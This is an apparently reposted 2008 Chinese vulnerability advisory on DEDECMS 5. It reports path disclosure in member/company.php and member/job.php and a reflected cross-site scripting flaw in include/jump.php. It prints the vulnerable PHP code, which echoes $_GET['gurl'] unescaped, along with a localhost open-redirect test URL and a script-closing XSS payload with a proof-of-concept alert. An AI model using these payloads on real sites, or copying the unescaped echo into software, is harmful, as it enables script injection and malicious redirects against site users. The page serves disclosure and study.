DEDECMS跨站及爆绝对路径漏洞

		当前位置：主页>安全文章>文章资料>漏洞资料>文章内容

DEDECMS跨站及爆绝对路径漏洞

来源：http://00day.cn 作者：落叶纷飞发布时间：2008-09-28

影响版本:

DEDECMS 5

漏洞描述:

泄露绝对路径漏洞
member/company.php

member/job.php

然后是跨站，这个得YY一下：

漏洞文件：include/jump.php

以下是漏洞代码：
<?php
if(!empty($_GET['gurl'])){
echo "<script>location=\"{$_GET['gurl']}\";</script>";
}
?>

<* 参考

落叶纷飞[J.L.S.T]

SEBUG安全建议:

暂无
http://www.dedecms.com

测试方法:

[www.sebug.net]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

提交：http://127.0.0.1/dc/include/jump.php?gurl=http://00day.cn 会跳转到http://00day.cn

新手朋友会认为这就是这个跨站的利用了，其实不然，我们可以尝试去闭合他！但PHP有gpc限制，我们该怎么绕？

提交：http://127.0.0.1/dc/include/jump.php?gurl=%23"</script><script>alert(/00day.cn/)</script>/*

[

推荐] [

评论(0条)] [返回顶部] [打印本页] [关闭窗口]

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统致命漏洞。
·南方数据企业网站管理系统V10.0
·动网（DVBBS）Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码，常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day

推荐广告